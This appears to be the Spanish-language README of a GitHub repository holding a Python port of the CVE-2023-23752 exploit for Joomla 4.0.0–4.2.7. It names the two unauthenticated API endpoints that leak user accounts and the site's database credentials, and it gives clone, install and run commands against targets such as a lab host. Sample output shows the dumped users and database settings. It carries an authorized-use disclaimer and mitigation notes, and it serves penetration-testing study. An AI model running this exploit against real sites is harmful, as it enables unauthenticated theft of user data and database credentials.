
Port en Python del exploit CVE-2023-23752 — divulgación de información no autenticada en Joomla! < 4.2.8 (lista de usuarios + fuga de credenciales de la base de datos)
⚠️ Aviso: Esta herramienta está destinada exclusivamente a fines educativos y pruebas de penetración autorizadas. Úsala únicamente contra sistemas que te pertenezcan o para los que tengas permiso explícito por escrito. El uso no autorizado es ilegal.
Joomla! es uno de los sistemas de gestión de contenidos (CMS) de código abierto más utilizados. Las versiones 4.0.0 a 4.2.7 exponen dos endpoints de API sin el control de acceso adecuado, lo que permite a un atacante no autenticado recuperar información sensible: cuentas de usuario registradas y, en configuraciones vulnerables, las credenciales de la base de datos del sitio.
La vulnerabilidad fue descubierta por Zewei Zhang del laboratorio NSFOCUS TIANJI y fue notificada al proyecto Joomla!, que publicó un parche en la versión 4.2.8. Se le asignó el identificador CVE-2023-23752.
Este repositorio contiene un puerto en Python del exploit original en Ruby publicado por ACCEIS.
Los endpoints de servicios web de la API REST de Joomla! deberían aplicar comprobaciones de autenticación y acceso antes de devolver datos. En las versiones afectadas, dos endpoints no realizan esta comprobación correctamente cuando se invocan con el parámetro public=true, tratando la solicitud como si proviniera de un nivel de acceso anónimo "público" que solo debería exponer datos no sensibles, pero en su lugar filtra información interna.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
El script automatiza los siguientes pasos:
1. Enviar solicitud GET a /api/index.php/v1/users?public=true
2. Analizar la respuesta JSON:API y extraer los registros de usuario
3. Enviar solicitud GET a /api/index.php/v1/config/application?public=true
4. Analizar la respuesta JSON:API y extraer la configuración del sitio y de la base de datos
5. Mostrar ambos conjuntos de datos en la consola
No se requiere autenticación, sesión ni token CSRF en ningún momento: todo el ataque consiste en dos solicitudes GET no autenticadas.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url URL base del objetivo, p. ej. http://dev.devvortex.htb
options:
-h, --help mostrar este mensaje de ayuda y salir
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* en el servidor web o en el WAF si no es posible actualizar de inmediato./api/index.php/v1/.| Campo | Valor |
|---|
| CVE | CVE-2023-23752 |
| Afecta | Joomla! 4.0.0 – 4.2.7 |
| Tipo | Control de acceso inadecuado / Divulgación de información |
| Privilegios | Ninguno (no autenticado) |
| Impacto | Divulgación de cuentas de usuario y credenciales de base de datos |
| Parche | Joomla! 4.2.8 (publicado en 2023) |